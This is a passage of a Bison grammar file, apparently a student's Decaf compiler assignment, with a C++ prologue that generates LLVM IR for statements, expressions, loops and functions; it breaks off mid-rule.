1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
%{
#include <iostream>
#include <ostream>
#include <string>
#include <cstdlib>
#include "default-defs.h"
#include "decafcomp.cc"

int yylex(void);
int yyerror(char *);

// print AST?
bool printAST = false;

using namespace std;

// this global variable contains all the generated code
llvm::Module *TheModule;

typedef map<string, descriptor* > symbol_table;
typedef list<symbol_table > symbol_table_list;
symbol_table symtbl;
symbol_table_list symtblt;

// this is the method used to construct the LLVM intermediate code (IR)
llvm::LLVMContext TheContext;
llvm::LLVMContext &Context = TheContext;
llvm::IRBuilder<> Builder(TheContext);
// the calls to TheContext in the init above and in the
// following code ensures that we are incrementally generating
// instructions in the right order

// dummy main function
// WARNING: this is not how you should implement code generation
// for the main function!
// You should write the codegen for the main method as
// part of the codegen for method declarations (MethodDecl)
static llvm::Function *TheFunction = 0;
static bool get_return;
list<llvm::BasicBlock*> cg;
list<llvm::BasicBlock*> bg;

descriptor *get_symbolt(string name){
for(auto s:symtblt){
map<string, descriptor* >::iterator it;
for (it = s.begin(); it != s.end(); it++) {
string s = it->first;
if(name == s)
return it->second;
}
}
return NULL;
}

descriptor *get_symbol(string name){
map<string, descriptor* >::iterator it;
for (it = symtbl.begin(); it != symtbl.end(); it++) {
string s = it->first;
if(name == s)
return it->second;
}
return NULL;
}

int put_symbolt(string name, descriptor * des){
if(symtblt.front()[name] != NULL){
return 0;
}
else{
symtblt.front()[name] = des;
return 1;
}
}

int put_symbol(string name, descriptor * des){
if(symtbl[name] != NULL){
return 0;
}
else{
symtbl[name] = des;
return 1;
}
}

bool check_symbol(string name, llvmValue k){
map<string, descriptor* >::iterator it;
for (it = symtbl.begin(); it != symtbl.end(); it++) {
string s = it->first;
if(name == s && it->second->kind == k){
return true;
}
}
return false;
}

llvm::Value * decafBlock::Codegen() {
symbol_table s;
symtblt.push_front(s);
llvm::Value *val = NULL;
if (NULL != FieldDeclList) {
val = FieldDeclList->Codegen();
}
if (NULL != StateDeclList) {
val = StateDeclList->Codegen();
}
symtblt.pop_front();
return val;
}

llvm::Value * decafStmt::Codegen() {
get_return = true;
if(this->kind == dass){
decafAssign* s = (decafAssign*)this;
return s->Codegen();
}
else if(this->kind == dcall){
decafFunCall* s = (decafFunCall*)this;
return s->Codegen();
}
else if(this->kind == dblo){
decafBlock* s = (decafBlock*)this;
return s->Codegen();
}
else if(this->kind == dret){
decafReturn* s = (decafReturn*)this;
return s->Codegen();
}
else if(this->kind == dif){
decafIF* s = (decafIF*)this;
return s->Codegen();
}
else if(this->kind == dfor){
decafFor* s = (decafFor*)this;
return s->Codegen();
}
else if(this->kind == dwhi){
decafWhile* s = (decafWhile*)this;
return s->Codegen();
}
else if(this->kind == dcb){
decafCB* s = (decafCB*)this;
return s->Codegen();
}
else{
return NULL;
}
}

llvm::Value * decafFunCall::Codegen() {
descriptor * des = get_symbol(this->get_name());
llvm::Function * llvm_func = des->func;
llvm::Value *ret_value;
std::vector<llvm::Value *> putsargs;
std::vector<llvm::Type *> putstypes;

for (auto& arg : llvm_func->args()) {
llvm::Type* func_type = arg.getType();
putstypes.push_back(func_type);
}
int i = 0;
for(auto p:this->get_para()){
decafBinexp * exp = (decafBinexp *)p;
llvm::Value* vt = exp->Codegen();
llvm::Type* func_type = putstypes[i++];

vt = Builder.CreateZExt(vt, func_type, "zexttmp");
/*
if(exp->get_kind() != "VariableExpr"){
llvm::ConstantInt* constantInt = llvm::dyn_cast<llvm::ConstantInt>(vt);
if (constantInt) {
llvm::APInt apIntValue = constantInt->getValue();
int intValue = apIntValue.getZExtValue();
vt = llvm::ConstantInt::get(func_type, intValue);
}
}
*/

putsargs.push_back(vt);
}

if(llvm_func->getReturnType()->isVoidTy())
ret_value = Builder.CreateCall(llvm_func, putsargs);
else
ret_value = Builder.CreateCall(llvm_func, putsargs, "calltmp");
return ret_value;
}

llvm::Value * decafAssign::Codegen() {
decafBinexp* exp = this->get_exp();
exp->Codegen();
descriptor * des = get_symbolt(this->get_var());
if(des == NULL){
des = get_symbol(this->get_var());
}

if(des->kind == arrG){
llvm::Value *ArrayLoc = Builder.CreateStructGEP(des->tyg, des->value, std::stol(this->get_arr()->get_name(),NULL,10), "arrayloc");
Builder.CreateStore(exp->des.value,ArrayLoc);
}
else{
Builder.CreateStore(exp->des.value,des->alloc);
}

return des->value;
}

llvm::Value * decafReturn::Codegen() {
decafBinexp* exp = this->get_exp();
llvm::BasicBlock* currentBlock = Builder.GetInsertBlock();
llvm::Function* currentFunction = currentBlock->getParent();
if(exp){
exp->Codegen();
Builder.CreateRet(exp->des.value);
get_return = false;
return exp->des.value;
}
else{
if(currentFunction->getReturnType()->isVoidTy()){
Builder.CreateRetVoid();
}
else{
llvm::Value *zero = llvm::ConstantInt::get(currentFunction->getReturnType(), 0);
Builder.CreateRet(zero);
}
get_return = false;
return NULL;
}
}

llvm::Value *decafArrexp::Codegen() {
descriptor * des = get_symbol(this->get_name());

llvm::Value *ArrayLoc = Builder.CreateStructGEP(des->tyg, des->value, std::stol(this->get_arr()->get_name(),NULL,10), "arrayloc");
llvm::Value* load = Builder.CreateLoad(ArrayLoc,"arrayval");
this->des.value = load;

return this->des.value;
}


llvm::Value *decafBinexp::Codegen() {
if(this->des.kind == valueK || this->des.kind == valueG){
decafAllexp * exp = (decafAllexp *)this;
return exp->Codegen();
}
else if(this->des.kind == arrG){
decafArrexp * exp = (decafArrexp *)this;
return exp->Codegen();
}
else if(this->des.kind == expuK){
llvm::Value *L = Exp1->Codegen();
if (L == 0) {
return 0;
}
switch (this->get_op(Option)) {
case nottmp:
this->des.value = Builder.CreateNot(L, "nottmp");
break;
case negtmp:
this->des.value = Builder.CreateNeg(L , "negtmp");
break;
}
return this->des.value;
}
else if(this->des.kind == expbK){
llvm::Value *L;
llvm::Value *R;
list<llvm::BasicBlock *> BL;
if(this->get_op(Option) == ortmp){
llvm::BasicBlock* currentBlock = Builder.GetInsertBlock();
llvm::Function* currentFunction = currentBlock->getParent();

L = Exp1->Codegen();
llvm::BasicBlock* OpValBB = llvm::BasicBlock::Create(Context, "noskct",currentFunction);
llvm::BasicBlock* CurBB = llvm::BasicBlock::Create(Context, "skctend",currentFunction);
Builder.CreateCondBr(L,CurBB,OpValBB);

Builder.SetInsertPoint(OpValBB);
R = Exp2->Codegen();
this->des.value = Builder.CreateOr(L, R, "ortmp");
Builder.CreateBr(CurBB);

Builder.SetInsertPoint(CurBB);
llvm::PHINode *val = Builder.CreatePHI(L->getType(), 2, "phival");

for (llvm::BasicBlock* Pred : llvm::predecessors(CurBB)) {
BL.push_front(Pred);
}
val->addIncoming(L, BL.front());
BL.pop_front();
val->addIncoming(this->des.value, BL.front());
BL.pop_front();
this->des.value = val;

return val;
}
else if(this->get_op(Option) == andtmp){
llvm::BasicBlock* currentBlock = Builder.GetInsertBlock();
llvm::Function* currentFunction = currentBlock->getParent();

L = Exp1->Codegen();
llvm::BasicBlock* OpValBB = llvm::BasicBlock::Create(Context, "noskct",currentFunction);
llvm::BasicBlock* CurBB = llvm::BasicBlock::Create(Context, "skctend",currentFunction);
Builder.CreateCondBr(L,OpValBB,CurBB);

Builder.SetInsertPoint(OpValBB);
R = Exp2->Codegen();
this->des.value = Builder.CreateAnd(L, R, "andtmp");
Builder.CreateBr(CurBB);

Builder.SetInsertPoint(CurBB);
llvm::PHINode *val = Builder.CreatePHI(L->getType(), 2, "phival");

for (llvm::BasicBlock* Pred : llvm::predecessors(CurBB)) {
BL.push_front(Pred);
}
val->addIncoming(L, BL.front());
BL.pop_front();
val->addIncoming(this->des.value, BL.front());
BL.pop_front();
this->des.value = val;

return val;
}
else{
L = Exp1->Codegen();
R = Exp2->Codegen();
}

if (L == 0 || R == 0) {
return 0;
}

switch (this->get_op(Option)) {
case addtmp:
this->des.value = Builder.CreateAdd(L, R, "addtmp");
break;
case subtmp:
this->des.value = Builder.CreateSub(L, R, "subtmp");
break;
case multmp:
this->des.value = Builder.CreateMul(L, R, "multmp");
break;
case modtmp:
this->des.value = Builder.CreateSRem(L, R, "modtmp");
break;
case divtmp:
this->des.value = Builder.CreateSDiv(L, R, "divtmp");
break;
case eqtmp:
this->des.value = Builder.CreateICmpEQ(L, R, "eqtmp");
break;
case neqtmp:
this->des.value = Builder.CreateICmpNE(L, R, "neqtmp");
break;
case slttmp:
this->des.value = Builder.CreateICmpSLT(L, R, "lttmp");
break;
case gttmp:
this->des.value = Builder.CreateICmpSGT(L, R, "gttmp");
break;
case sletmp:
this->des.value = Builder.CreateICmpSLE(L, R, "sletmp");
break;
case geqtmp:
this->des.value = Builder.CreateICmpSGE(L, R, "geqtmp");
break;
case shltmp:
this->des.value = Builder.CreateShl(L, R, "shltmp");
break;
case lshrtmp:
this->des.value = Builder.CreateLShr(L, R, "lshrtmp");
break;
default:
this->des.value = NULL;
break;
}
return this->des.value;
}
else if(this->des.kind == funcK){
decafFunCall * call = (decafFunCall *)this;
this->des.value = call->Codegen();
return this->des.value;
}
}

llvm::Value *decafAllexp::Codegen() {
if(this->get_kind() == "VariableExpr"){
descriptor * des = get_symbolt(this->get_name());
if(des == NULL){
des = get_symbol(this->get_name());
}
llvm::Value* load = Builder.CreateLoad(des->alloc,this->get_name());
this->des.value = load;
}
else if(this->get_kind() == "NumberExpr"){
string s = this->get_name().substr(0, 2);
llvm::Value* arg;
if(s == "0x"){
arg = llvm::ConstantInt::get(llvm::Type::getInt32Ty(Context), std::stol(this->get_name(),NULL,16));
}
else{
arg = llvm::ConstantInt::get(llvm::Type::getInt32Ty(Context), std::stol(this->get_name(),NULL,10));
}
this->des.value = arg;
}
else if(this->get_kind() == "BoolExpr"){
if(this->get_name() == "True"){
llvm::Type* boolType = llvm::Type::getInt1Ty(Context);
llvm::Constant* trueValue = llvm::ConstantInt::get(boolType, 1);
this->des.value = trueValue;
}else if(this->get_name() == "False"){
llvm::Type* boolType = llvm::Type::getInt1Ty(Context);
llvm::Constant* falseValue = llvm::ConstantInt::get(boolType, 0);
this->des.value = falseValue;
}
}
else if(this->get_kind() == "StringConstant"){
llvm::GlobalVariable *GS = Builder.CreateGlobalString(this->get_name() ,"globalstring");
llvm::Value *stringConst = Builder.CreateConstGEP2_32(GS->getValueType(), GS, 0, 0, "cast");
this->des.value = stringConst;
}
return this->des.value;
}

llvm::Value *decafVar::Codegen() {
descriptor * des = new descriptor();
if(this->Kind == "Array"){
if(put_symbol(this->get_name(),des)){
llvm::ArrayType *arrayi32 = llvm::ArrayType::get(this->lType, std::stol(this->get_arr()->get_name(),NULL,10));
llvm::Constant *zeroInit = llvm::Constant::getNullValue(arrayi32);
llvm::GlobalVariable *Foo = new llvm::GlobalVariable(*TheModule, arrayi32, false, llvm::GlobalValue::ExternalLinkage, zeroInit, this->get_name());
des->value = Foo;
des->tyg = arrayi32;
des->kind = arrG;
}
}
else if(this->Kind == "Scalar"){
if(put_symbol(this->get_name(),des)){
decafAllexp *exp = this->get_exp();
llvm::Constant *Init;
if(exp == NULL){
Init = llvm::Constant::getNullValue(lType);
}
else {
Init = (llvm::Constant *)exp->Codegen();
}

llvm::GlobalVariable *Foo = new llvm::GlobalVariable(*TheModule, this->lType, false, llvm::GlobalValue::ExternalLinkage, Init, this->get_name());
des->value = Foo;
des->kind = valueG;
}
}
else{
if(put_symbolt(this->get_name(),des)){
this->Alloca = Builder.CreateAlloca(this->lType, 0, this->get_name());
llvm::Value *zero = llvm::ConstantInt::get(this->lType, 0);
llvm::Value *val = Builder.CreateStore(zero, this->Alloca);
des->alloc = this->Alloca;
}
}
return this->Alloca;
}

llvm::Value *decafEXFuncDef::Codegen() {
descriptor* des = get_symbol(this->get_name());
if(check_symbol( this->get_name(), funcK)){
return this->lfunc;
}
else{
return 0;
}
}

llvm::Value *decafFuncDef::Codegen() {
descriptor* des = get_symbol(this->get_name());
if(check_symbol( this->get_name(), funcK)){
symbol_table s;
symtblt.push_front(s);
get_return = true;
llvm::BasicBlock *BB = llvm::BasicBlock::Create(TheContext, "func", this->lfunc);
Builder.SetInsertPoint(BB);

int i = 0;
for(auto p:this->get_para()->get_para()){
this->lfunc->getArg(i)->setName(p->get_name());

descriptor * des2 = new descriptor();
if(put_symbolt(p->get_name(),des2)){
des2->alloc = Builder.CreateAlloca(p->lType, 0, p->get_name());
}
Builder.CreateStore(this->lfunc->getArg(i),des2->alloc);
i++;
}

decafBlock * B = this->get_block();
B->Codegen();

if(get_return){
if(this->lType->isVoidTy())
Builder.CreateRetVoid();
else
Builder.CreateRet(llvm::ConstantInt::get(TheContext, llvm::APInt(32, 0)));
}
symtblt.pop_front();
symtblt.clear();
}
return this->lfunc;
}

llvm::Value *decafIF::Codegen(){
llvm::BasicBlock* currentBlock = Builder.GetInsertBlock();
llvm::Function* currentFunction = currentBlock->getParent();
decafBinexp * exp = (decafBinexp*)this->get_exp();
decafBlock *Block = this->get_block();
decafBlock *Block2 = this->get_block2();

llvm::BasicBlock *conditionBlock = llvm::BasicBlock::Create(Context, "if",currentFunction);

Builder.CreateBr(conditionBlock);
Builder.SetInsertPoint(conditionBlock);
llvm::Value *condition = exp->Codegen();

llvm::BasicBlock *trueBlock = llvm::BasicBlock::Create(Context, "true",currentFunction);
llvm::BasicBlock *falseBlock = llvm::BasicBlock::Create(Context, "false",currentFunction);
llvm::BasicBlock *elseBlock = NULL;
if(Block2){
elseBlock = llvm::BasicBlock::Create(Context, "else",currentFunction);
}

if(Block2){
Builder.CreateCondBr(condition, trueBlock, elseBlock);
}
else{
Builder.CreateCondBr(condition, trueBlock, falseBlock);
}

if(Block){
Builder.SetInsertPoint(trueBlock);
Block->Codegen();
Builder.CreateBr(falseBlock);
get_return = true;
}

if(Block2){
Builder.SetInsertPoint(elseBlock);
Block2->Codegen();
Builder.CreateBr(falseBlock);
get_return = true;
}

Builder.SetInsertPoint(falseBlock);
return NULL;
}

llvm::Value *decafFor::Codegen(){
llvm::BasicBlock* currentBlock = Builder.GetInsertBlock();
llvm::Function* currentFunction = currentBlock->getParent();
decafBinexp * exp = (decafBinexp*)this->get_exp();
decafBlock* Block = this->get_block();
decafAssignList *Alist = this->get_list();
decafAssignList *Alist2 = this->get_list2();

llvm::BasicBlock *conditionBlock = llvm::BasicBlock::Create(Context, "loop",currentFunction);

if(Alist){
Alist->Codegen();
}
Builder.CreateBr(conditionBlock);
Builder.SetInsertPoint(conditionBlock);
llvm::Value *condition = exp->Codegen();
llvm::BasicBlock *bodyBlock = llvm::BasicBlock::Create(Context, "body",currentFunction);
llvm::BasicBlock *nextBlock = llvm::BasicBlock::Create(Context, "next",currentFunction);
llvm::BasicBlock *endBlock = llvm::BasicBlock::Create(Context, "end",currentFunction);

Builder.CreateCondBr(condition, bodyBlock, endBlock);

Builder.SetInsertPoint(bodyBlock);
if(Block){
cg.push_back(nextBlock);
bg.push_back(endBlock);
Block->Codegen();
cg.pop_back();
bg.pop_back();
}
Builder.CreateBr(nextBlock);

Builder.SetInsertPoint(nextBlock);
if(Alist2){
Alist2->Codegen();
}
Builder.CreateBr(conditionBlock);

Builder.SetInsertPoint(endBlock);
return NULL;
}

llvm::Value *decafWhile::Codegen(){
llvm::BasicBlock* currentBlock = Builder.GetInsertBlock();
llvm::Function* currentFunction = currentBlock->getParent();
decafBinexp * exp = (decafBinexp*)this->get_exp();
decafBlock* Block = this->get_block();

llvm::BasicBlock *conditionBlock = llvm::BasicBlock::Create(Context, "loop",currentFunction);

Builder.CreateBr(conditionBlock);
Builder.SetInsertPoint(conditionBlock);
llvm::Value *condition = exp->Codegen();
llvm::BasicBlock *bodyBlock = llvm::BasicBlock::Create(Context, "body",currentFunction);
llvm::BasicBlock *endBlock = llvm::BasicBlock::Create(Context, "end",currentFunction);
Builder.CreateCondBr(condition, bodyBlock, endBlock);

Builder.SetInsertPoint(bodyBlock);
if(Block){
cg.push_back(conditionBlock);
bg.push_back(endBlock);
Block->Codegen();
cg.pop_back();
bg.pop_back();
}
Builder.CreateBr(conditionBlock);

Builder.SetInsertPoint(endBlock);;
return NULL;
}


llvm::Value *decafCB::Codegen(){
llvm::BasicBlock* currentBlock = Builder.GetInsertBlock();
llvm::Function* currentFunction = currentBlock->getParent();

llvm::BasicBlock* endBlock = NULL;
llvm::BasicBlock *loopBlock = NULL;
llvm::BasicBlock *nextBlock = NULL;

if(this->Data == "BreakStmt"){
Builder.CreateBr(bg.back());
}
else if(this->Data == "ContinueStmt"){
Builder.CreateBr(cg.back());
}

return NULL;
}

// we have to create a main function
llvm::Function *gen_main_def() {
// create the top-level definition for main
llvm::FunctionType *FT = llvm::FunctionType::get(llvm::IntegerType::get(TheContext, 32), false);
llvm::Function *TheFunction = llvm::Function::Create(FT, llvm::Function::ExternalLinkage, "main", TheModule);
if (TheFunction == 0) {
throw runtime_error("empty function block");
}
// Create a new basic block which contains a sequence of LLVM instructions
llvm::BasicBlock *BB = llvm::BasicBlock::Create(TheContext, "func", TheFunction);
// All subsequent calls to IRBuilder will place instructions in this location
Builder.SetInsertPoint(BB);

descriptor* des = new descriptor();
des->func = TheFunction;
des->kind = funcK;
put_symbol("main",des);

return TheFunction;
}

%}

%define parse.error verbose

%union{
class decafAST *ast;
std::string *sval;
}

%token T_PACKAGE T_EXTERN T_FUNC T_SEMICOLON T_COMMA T_CONTINUE T_FALSE T_TRUE T_VAR T_FOR T_NULL T_RETURN T_WHITESPACE
%token T_AND T_ASSIGN T_DIV T_DOT T_EQ T_RIGHTSHIFT T_GEQ T_GT T_LEFTSHIFT T_LEQ T_LT T_MINUS T_MOD T_MULT T_NEQ T_NOT T_OR T_PLUS
%token T_VOID T_INTTYPE T_BOOLTYPE T_STRINGTYPE
%token T_LCB T_RCB T_LPAREN T_RPAREN T_LSB T_RSB
%token T_COMMENT
%token T_BREAK T_ELSE T_IF T_WHILE
%token <sval> T_ID T_INTCONSTANT T_CHARCONSTANT T_STRINGCONSTANT

%type <ast> state_if state_while lvalues state_for state_break state_continue state_return exp assign assigns assignss method_call lvalue statements statement extern_list para_list_use para_usen para_use para_list_def block blockt var_decls var_decl method_decls method_decl decafpackage var_declp var_declps extern_def extern_defn extern_typen extern_type func_typen func_type method_type type

%right T_ASSIGN
%left T_OR
%left T_AND
%left T_EQ T_NEQ T_LT T_GT T_GEQ T_LEQ
%left T_PLUS T_MINUS
%left T_MULT T_DIV T_MOD T_RIGHTSHIFT T_LEFTSHIFT
%right T_NOT
%right T_UMINUS
%right T_LPAREN
%left T_RPAREN
%nonassoc T_IF
%nonassoc T_ELSE

%%

start: program

program: extern_list decafpackage{
ProgramAST *prog = new ProgramAST((decafEXFuncDefList *)$1, (PackageAST *)$2);
prog->Codegen();
if (printAST) {
cout << getString(prog) << endl;
}
delete prog;
}
;

extern_list: extern_defn {
$$ = $1;
}
| {
decafEXFuncDefList *slist = new decafEXFuncDefList();
$$ = slist;
}
;

extern_defn: extern_def extern_defn {
decafEXFuncDefList *slist = (decafEXFuncDefList *)$2;
slist->push_front((decafEXFuncDef *)$1);
$$ = slist;
}
| {
decafEXFuncDefList *slist = new decafEXFuncDefList();
$$ = slist;
}
;

extern_def: T_EXTERN T_FUNC T_ID T_LPAREN para_list_def T_RPAREN method_type T_SEMICOLON {
decafEXFuncDef *func = new decafEXFuncDef();
decafPara* para = (decafPara*)$5;
decafType * type = (decafType *)$7;
func->put_name($3);
func->put_type(type);
func->put_para((decafPara*)para);
$$ = func;
delete $3;

descriptor* des = new descriptor();
if(put_symbol( func->get_name(), des)){
llvm::Type *returnTy = func->lType;
string Name = func->get_name();
llvm::SmallVector<llvm::Type *,0> functionArgs;

for(auto p:func->get_para()->get_para()){
functionArgs.push_back(p->lType);
}
func->lfunc = llvm::Function::Create(
llvm::FunctionType::get(returnTy, functionArgs, false),
llvm::Function::ExternalLinkage,
Name,
TheModule
);
des->func = func->lfunc;
des->kind = funcK;
}
}
;

para_list_use: para_usen {
$$ = $1;
}
| {
decafStmtList *slist = new decafStmtList();
$$ = slist;
}
;

para_usen: para_use T_COMMA para_usen {
decafStmtList * para = (decafStmtList *)$3;
para->push_front($1);
$$ = para;
}
| para_use {
decafStmtList * para = new decafStmtList();
para->push_front($1);
$$ = para;
}
;

para_use: exp { $$ = $1;}
;

para_list_def: extern_typen {
$$ = $1;
}
| func_typen {
$$ = $1;
}
| {
decafStmtList *slist = new decafStmtList();
$$ = slist;
}
;

func_typen: func_type T_COMMA func_typen {
decafPara * para = (decafPara *)$3;
para->push_front((decafType *)$1);
$$ = para;
}
| func_type {
decafPara * para = new decafPara();
para->push_front((decafType*)$1);
$$ = para;
}
;

func_type: T_ID extern_type {
decafType* type = (decafType*)$2;
type->put_name(*$1);
$$ = type;
delete $1;
}
;

extern_typen: extern_type T_COMMA extern_typen {
decafPara * para = (decafPara *)$3;
para->push_front((decafType *)$1);
$$ = para;
}
| extern_type {
decafPara * para = new decafPara();
para->push_front((decafType*)$1);
$$ = para;
}
;

extern_type: T_STRINGTYPE {
decafType* type = new decafType("StringType");
type->Ty = stringTy;
$$ = type;

type->lType = getLLVMType(type->Ty,Context);
}
| type {
decafType* type = (decafType* )$1;
$$ = type;
}
;

method_type: T_VOID {
decafType* type = new decafType("VoidType");
type->Ty = voidTy;
$$ = type;

type->lType = getLLVMType(type->Ty,Context);
}
| type {
decafType* type = (decafType* )$1;
$$ = type;
}
;

type: T_INTTYPE {
decafType* type = new decafType("IntType");
type->Ty = intTy;
$$ = type;

type->lType = getLLVMType(type->Ty,Context);
}
| T_BOOLTYPE {
decafType* type = new decafType("BoolType");
type->Ty = boolTy;
$$ = type;

type->lType = getLLVMType(type->Ty,Context);
}
;

decafpackage: T_PACKAGE T_ID T_LCB var_declps method_decls T_RCB {
decafVarList *field = (decafVarList *)$4;
decafFuncDefList *method = (decafFuncDefList *)$5;
$$ = new PackageAST(*$2, field, method);
delete $2;
}
| T_PACKAGE T_ID T_LCB T_RCB {
$$ = new PackageAST(*$2, new decafVarList(), new decafFuncDefList());
delete $2;
}
;

var_declps: var_declp var_declps {
decafVarList *slist = (decafVarList *)$2;
slist->cat_front((decafVarList *)$1);
$$ = slist;
}
| {
decafVarList *slist = new decafVarList();
$$ = slist;
}
;

var_declp: T_VAR lvalues type T_SEMICOLON {
decafType * type = (decafType *)$3;
decafVarList * list = (decafVarList *)$2;
list->put_types(type);
list->put_kinds("Scalar");
$$ = list;
}
| T_VAR lvalue type T_ASSIGN exp T_SEMICOLON {
decafVarList * list = new decafVarList();
decafType * type = (decafType *)$3;
decafVar * var = (decafVar *)$2;
decafAllexp * exp = (decafAllexp *)$5;
var->put_kind("Scalar");
var->put_type(type);
var->put_exp(exp);
list->push_front(var);
$$ = list;
}
| T_VAR lvalue type T_SEMICOLON {
decafVarList * list = new decafVarList();
decafType * type = (decafType *)$3;
decafVar * var = (decafVar *)$2;
var->put_kind("Scalar");
var->put_type(type);
list->push_front(var);
$$ = list;
}
;

var_decls: var_decl var_decls {
decafVarList *slist = (decafVarList *)$2;
slist->cat_front((decafVarList *)$1);
$$ = slist;
}
| {
decafVarList *slist = new decafVarList();
$$ = slist;
}
;

var_decl: T_VAR lvalues type T_SEMICOLON {
decafType * type = (decafType *)$3;
decafVarList * list = (decafVarList *)$2;
list->put_types(type);
$$ = list;
}
| T_VAR lvalue type T_ASSIGN exp T_SEMICOLON {
decafVarList * list = new decafVarList();
decafType * type = (decafType *)$3;
decafVar * var = (decafVar *)$2;
decafAllexp * exp = (decafAllexp *)$5;
var->put_type(type);
var->put_exp(exp);
list->push_front(var);
$$ = list;
}
| T_VAR lvalue type T_SEMICOLON {
decafVarList * list = new decafVarList();
decafType * type = (decafType *)$3;
decafVar * var = (decafVar *)$2;
var->put_type(type);
list->push_front(var);
$$ = list;
}
;

lvalues: lvalue T_COMMA lvalues {
decafVar* var = (decafVar*)$1;
decafVarList * list = (decafVarList*)$3;
list->push_back(var);
$$ = list;
}
| lvalue {
decafVar* var = (decafVar*)$1;
decafVarList * list = new decafVarList();
list->push_back(var);
$$ = list;
}
;

lvalue: T_ID {
decafVar* var = new decafVar(*$1) ;
$$ = var;
delete $1;
}
| T_ID T_LSB exp T_RSB {
decafVar* var = new decafVar(*$1) ;
decafAllexp* arr = (decafAllexp *)$3;
var->put_arr(arr);
var->put_kind("Array");
$$ = var;
delete $1;
}
;

CONSTANT : T_INTCONSTANT | T_CHARCONSTANT | T_STRINGCONSTANT { };

method_decls: method_decl method_decls{
decafFuncDefList *slist = (decafFuncDefList *)$2;
slist->push_front((decafFuncDef *)$1);
$$ = slist;
}
| {
decafFuncDefList *slist = new decafFuncDefList();
$$ = slist;
}
;

method_decl: T_FUNC T_ID T_LPAREN para_list_def T_RPAREN method_type block {
decafFuncDef *func = new decafFuncDef();
decafPara* para = (decafPara*)$4;
decafBlock * block = (decafBlock*)$7;
decafType * type = (decafType *)$6;
func->put_name($2);
func->put_type(type);
func->put_para(para);
func->put_block(block);
$$ = func;
delete $2;

descriptor* des = new descriptor();
if(put_symbol( func->get_name(), des)){
llvm::Type *returnTy = func->lType;
std::vector<llvm::Type *> functionArgs;
for(auto p:func->get_para()->get_para()){
functionArgs.push_back(p->lType);
}

func->lfunc = llvm::Function::Create(
llvm::FunctionType::get(returnTy, functionArgs ,false),
llvm::Function::ExternalLinkage,
func->get_name(),
TheModule);
if (func->lfunc == 0) {
throw runtime_error("empty function block");
}

des->func = func->lfunc;
des->kind = funcK;
}
}
;

blockt: T_LCB var_decls statements T_RCB {
decafVarList *field = (decafVarList *)$2;
decafStmts *state = (decafStmts *)$3;
decafBlock *block = new decafBlock("Block",field,state);
$$ = block;
}
| T_LCB T_RCB {
decafVarList *field = new decafVarList();
decafStmts *state = new decafStmts();
decafBlock *block = new decafBlock("Block",field,state);
$$ = block;
}
;

block: T_LCB var_decls statements T_RCB {
decafVarList *field = (decafVarList *)$2;
decafStmts *state = (decafStmts *)$3;
decafBlock *block = new decafBlock("MethodBlock",field,state);
$$ = block;
}
| T_LCB T_RCB {
decafVarList *field = new decafVarList();
decafStmts *state = new decafStmts();
decafBlock *block = new decafBlock("MethodBlock",field,state);
$$ = block;
}
;

statements: statement statements {
decafStmts *slist = (decafStmts *)$2;
slist->push_front((decafStmt *)$1);
$$ = slist;
}
| {
decafStmts *slist = new decafStmts();
$$ = slist;
}
;

statement: blockt { $$ = $1; }
| assign T_SEMICOLON { $$ = $1; }
| method_call T_SEMICOLON { $$ = $1; }
| state_return T_SEMICOLON { $$ = $1; }
| state_if { $$ = $1; }
| state_while { $$ = $1; }
| state_for { $$ = $1; }
| state_break T_SEMICOLON { $$ = $1; }
| state_continue T_SEMICOLON { $$ = $1; }
;

state_if: T_IF T_LPAREN exp T_RPAREN blockt T_ELSE blockt {
decafBinexp *exp = (decafBinexp *)$3;
decafBlock *if_block = (decafBlock *)$5;
decafBlock *else_block = (decafBlock *)$7;
decafIF *ifs = new decafIF(exp,if_block,else_block);
$$ = ifs;

ifs->kind = dif;
}
| T_IF T_LPAREN exp T_RPAREN blockt {
decafBinexp *exp = (decafBinexp *)$3;
decafBlock *if_block = (decafBlock *)$5;
decafIF *ifs = new decafIF(exp,if_block,NULL);
$$ = ifs;

ifs->kind = dif;
}
;

state_while: T_WHILE T_LPAREN exp T_RPAREN blockt {
decafBinexp *exp = (decafBinexp *)$3;
decafBlock *block = (decafBlock *)$5;
decafWhile *whiles = new decafWhile(exp,block);
$$ = whiles;

whiles->kind = dwhi;
}
;

state_for: T_FOR T_LPAREN assignss T_SEMICOLON exp T_SEMICOLON assignss T_RPAREN blockt{
decafBinexp *exp = (decafBinexp *)$5;
decafBlock *block = (decafBlock *)$9;
decafAssignList *aslist = (decafAssignList *)$3;
decafAssignList *aslist2 = (decafAssignList *)$7;
decafFor * fors = new decafFor(exp,block,aslist,aslist2);
$$ = fors;

fors->kind = dfor;
}
;

state_break: T_BREAK {
decafCB * data = new decafCB("BreakStmt");
$$ = data;

data->kind = dcb;
}
;

state_continue: T_CONTINUE {
decafCB * data = new decafCB("ContinueStmt");
$$ = data;

data->kind = dcb;
}
;

state_return: T_RETURN T_LPAREN exp T_RPAREN {
decafBinexp *exp = (decafBinexp *)$3;
decafReturn *ret = new decafReturn(exp);
$$ = ret;
}
| T_RETURN T_LPAREN T_RPAREN {
decafReturn *ret = new decafReturn(NULL);
$$ = ret;
}
| T_RETURN {
decafReturn *ret = new decafReturn(NULL);
$$ = ret;
}
;

assignss : assigns {
$$ = $1;
}
| {
decafAssignList *aslist = new decafAssignList();
$$ = aslist;
}
;

assigns: assign T_COMMA assigns {
decafAssignList *aslist = (decafAssignList *)$3;
decafAssign *ass = (decafAssign *)$1;
aslist->push_front(ass);
$$ = aslist;
}
| assign {
decafAssignList *aslist = new decafAssignList();
decafAssign *ass = (decafAssign *)$1;
aslist->push_front(ass);
$$ = aslist;
}
;

assign: lvalue T_ASSIGN exp {
decafVar* var = (decafVar *)$1;
decafBinexp* exp = (decafBinexp *)$3;
decafAssign* ass = new decafAssign(var->get_name(),exp);
ass->kind = dass;
ass->put_arr(var->get_arr());
$$ = ass;
}
;

exp : T_NOT exp {
decafUnaryexp * exp = new decafUnaryexp("Not", (decafBinexp*)$2);
$$ = exp;
}
| T_MINUS exp %prec T_UMINUS {
decafUnaryexp * exp = new decafUnaryexp("UnaryMinus", (decafBinexp*)$2);
$$ = exp;
}
| exp T_PLUS exp {
decafBinexp * exp = new decafBinexp("Plus", (decafBinexp*)$1, (decafBinexp*)$3);
$$ = exp;
}
| exp T_MINUS exp {
